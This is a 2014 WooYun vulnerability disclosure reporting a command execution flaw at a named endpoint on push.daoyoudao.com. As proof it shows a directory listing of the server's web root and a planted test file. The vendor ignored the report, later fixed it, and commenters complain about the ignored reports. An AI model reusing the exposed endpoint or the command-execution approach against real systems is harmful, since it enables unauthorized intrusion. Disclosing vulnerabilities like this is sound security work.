当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-048024

漏洞标题：道有道某站命令执行3

相关厂商：daoyoudao.com

漏洞作者： M4sk

提交时间：2014-01-06 14:54

修复时间：2014-01-11 14:54

公开时间：2014-01-11 14:54

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-06： 细节已通知厂商并且等待厂商处理中
2014-01-11： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

RT

详细说明：

http://push.daoyoudao.com/cmshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/execute.do

-->>ls /usr/local/wwwadpush/
 -l
总用量 7672
-rw-r--r--   1 root root      11  1月  6 13:54 1.txt
-rw-r--r--   1 root root    2267 10月 17 18:04 aboutus_contact.jsp
-rw-r--r--   1 root root    3358 10月 17 18:04 aboutus.jsp
-rw-r--r--   1 root root    3114 10月 17 18:04 aboutus_tech.jsp
-rw-r--r--   1 root root    3152 2013-03-13  activity.jsp
-rw-r--r--   1 root root   19522 2012-01-31  adpush.docx
-rw-r--r--   1 root root   46371 2011-08-17  adpush.jar
-rw-r--r--   1 root root    4121 2013-03-06  aduser.jsp
-rw-r--r--   1 root root 2097152 10月 23 16:14 bbzs.zip
-rw-r--r--   1 root root  255643  9月 16 14:47 chaping.rar
drwxr-xr-x   3 root root    4096  8月  8 16:23 cms
drwxr-xr-x   3 root root    4096 11月 14 11:44 common
-rw-r--r--   1 root root    4628 2013-03-06  commonProblem.jsp
-rw-r--r--   1 root root    2107 10月 17 18:04 contents.jsp
-rw-r--r--   1 root root     336 2011-08-20  crossdomain.xml
-rw-r--r--   1 root root   18587 2012-01-31  dankead.docx
-rw-r--r--   1 root root 1081865 2013-05-20  danke.rar
drwxr-xr-x   6 root root    4096 10月 23 17:13 dev
-rw-r--r--   1 root root    8359 10月 17 18:04 developer.jsp
-rw-r--r--   1 root root    4741  9月 16 14:47 developers_rule.jsp
-rw-r--r--   1 root root    2812  7月 11 15:49 devusercommend.jsp
-rw-r--r--   1 root root    6947 2013-03-06  Dkdeveloper.jsp
drwxr-xr-x  10 root root    4096  8月  8 16:24 dl
drwxr-xr-x   3 root root    4096 11月 15 14:00 email
drwxr-xr-x   3 root root    4096  8月  8 16:24 error
-rw-r--r--   1 root root    1150 2012-04-10  favicon.ico
-rw-r--r--   1 root root    5539  9月 16 14:47 help.jsp
-rw-r--r--   1 root root  227538 10月 22 15:17 help.rar
drwxr-xr-x   5 root root    4096 11月 22 11:38 images
drwxr-xr-x   3 root root    4096  8月  8 16:26 img
-rw-r--r--   1 root root   11532 11月 22 14:41 index.jsp
-rw-r--r--   1 root root 1207232 11月  6 18:23 ios.zip
drwxr-xr-x   5 root root    4096  8月  8 16:26 ipushlogin
drwxr-xr-x   6 root root    4096 11月 19 17:45 js
-rw-r--r--   1 root root    1874 11月  8 15:31 loginCheckBB.jsp
-rw-r--r--   1 root root    7941 11月 19 17:33 login.jsp
drwxr-xr-x   3 root root    4096  8月  8 16:26 logo
-rw-r--r--   1 root root    1150 2011-09-06  logo.ico
-rw-r--r--   1 root root     850  9月 16 14:47 main.jsp
-rw-r--r--   1 root root    2130 2013-03-13  map.jsp
drwxr-xr-x   3 root root    4096  8月  8 16:26 META-INF
drwxr-xr-x   3 root root    4096 11月  5 16:18 mon
-rw-r--r--   1 root root    1736 10月 17 18:04 newsAction.jsp
-rw-r--r--   1 root root    3398 10月 17 18:04 news.jsp
-rw-r--r--   1 root root    8964 2013-04-17  pingbi.txt
-rw-r--r--   1 root root    7406 2013-03-06  policy.jsp
-rw-r--r--   1 root root    1731 2011-08-17  problems.jsp
-rw-r--r--   1 root root  561944  9月 16 14:47 push_danke.rar
drwxr-xr-x   3 root root    4096  8月  8 16:26 report
-rw-r--r--   1 root root  366244 10月 22 15:16 sdk.rar
-rw-r--r--   1 root root   10524  9月 16 14:47 serviceTerms.jsp
drwxr-xr-x   4 root root    4096  8月  8 16:27 style
drwxr-xr-x   7 root root    4096 2013-03-19  upload
drwxr-xr-x   3 root root    4096 10月 23 17:13 user
drwxr-xr-x   5 root root    4096  8月  8 16:41 WEB-INF
-rw-r--r--   1 root root 1572864 10月 22 15:52 梆梆助手-win32-v1.1_9.9_5.zip
-rw-r--r--   1 root root   55808 2013-01-31  道有道推送_SDK_V1.2.0.doc
-rw-r--r--   1 root root   19522 2012-01-31  道有道推送_SDK_V1.2.0.docx
-rw-r--r--   1 root root   18587 2013-01-31  道有道蛋壳_SDK_V1.0.0.docx

漏洞证明：

http://push.daoyoudao.com/1.txt

修复方案：

你会

版权声明：转载请注明来源 M4sk@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-01-11 14:54

厂商回复：

最新状态：

2014-01-16：已修复

漏洞评价：

评论

  1. 2014-01-17 11:00 | M4sk ( 普通白帽子 | Rank:1199 漏洞数:319 | 国内信息安全任重而道远，还需要厂商和白帽...)

    忽略后修复么？ 呵呵…

  2. 2015-06-05 10:36 | ucifer ( 普通白帽子 | Rank:156 漏洞数:52 | 萌萌哒~)

    @M4sk 真看不下去了，三个都是这样，把白帽子当猴耍么？